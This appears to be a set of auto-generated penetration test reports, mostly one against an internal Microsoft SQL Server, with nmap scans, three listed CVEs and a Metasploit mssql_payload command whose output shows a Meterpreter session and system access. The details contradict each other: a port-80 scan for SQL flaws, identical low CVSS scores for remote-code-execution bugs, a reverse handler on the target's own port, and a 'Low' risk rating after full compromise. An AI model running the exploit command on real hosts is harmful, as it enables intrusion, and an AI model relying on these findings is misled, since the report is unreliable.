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3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. |
Next Steps: |
- Address critical vulnerabilities within 24 hours |
- Remediate high risk findings within 7 days |
- Schedule retesting after fixes are implemented |
- Conduct developer security training focusing on OWASP Top 10 |
--- END REPORT --- |
=== Automated Penetration Test Report === |
Test ID: PT-2025-05-11-0003 |
Date: 2025-05-11 19:07:18 |
Tester: kwilson |
Organization: CyberShield Inc |
Confidentiality: STRICTLY CONFIDENTIAL |
Test Objective: evaluate attack surface of the Microsoft SQL database server (10.133.126.227) |
Scope: Internal security assessment |
Rules of Engagement: Standard |
=== Discovery Phase === |
Tester: nmap -sV -O --script=banner -p1433,1434 10.133.126.227 |
Tool Output: |
Starting Nmap 7.92 at 2025-05-11 19:07:18 |
Nmap scan report for 10.133.126.227 |
Host is up (0.40s latency). |
MAC Address: A2:E2:89:CF:F3:B6 (Arista) |
1433/tcp open ms-sql-s Microsoft SQL Server 2019 |
1434/tcp open ms-sql-s Microsoft SQL Server 2019 |
OS details: Windows Server 2019 |
OS CPE: cpe:/o:microsoft:windows_server_2019:- |
Network Distance: 2 hops |
Service Info: Hostname: sql-backend-02 |
Nmap done: 1 IP address (1 host up) scanned in 21 seconds |
=== Vulnerability Assessment === |
Tools used: |
- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection |
- Burp Suite: Manual testing, session analysis, and business logic flaw identification |
- Nmap scripts: Service enumeration and vulnerability verification |
- Metasploit: Exploit verification and proof-of-concept testing |
## Vulnerability 1: CVE-2020-0618 (RCE via SQL Reporting Services) |
CVE: CVE-2020-0618 |
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) |
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing |
Test Method: nmap --script vuln -p80 10.133.126.227 |
Result: |
Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. |
Remediation: See vendor documentation |
## Vulnerability 2: CVE-2019-1068 (Elevation of Privilege - SQL Server) |
CVE: CVE-2019-1068 |
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) |
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing |
Test Method: nmap --script vuln -p80 10.133.126.227 |
Result: |
Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. |
Remediation: See vendor documentation |
## Vulnerability 3: CVE-2021-1636 (RCE via TDS Protocol) |
CVE: CVE-2021-1636 |
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) |
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing |
Test Method: nmap --script vuln -p80 10.133.126.227 |
Result: |
Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. |
Remediation: See vendor documentation |
=== Exploitation Phase === |
Tool: Metasploit Framework 6.1 |
Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 10.133.126.227; set RPORT 1433; exploit" |
Output: |
[*] Exploiting known vulnerabilities: |
- CVE-2021-1636 (CVE-2021-1636) |
- CVE-2020-0618 (CVE-2020-0618) |
- CVE-2019-1068 (CVE-2019-1068) |
[*] Started reverse TCP handler on port 1433 |
[*] Sending payload... |
[*] Sending stage (566 bytes) |
[*] Meterpreter session 10 opened |
[*] Session established |
[*] Gained system access |
[*] Connected to 10.133.126.227 |
[*] Post-exploitation modules available: |
- mssql_enum |
- mssql_sql |
- mssql_exec |
=== Final Assessment === |
Overall Risk Rating: Low |
Confidence Level: Low |
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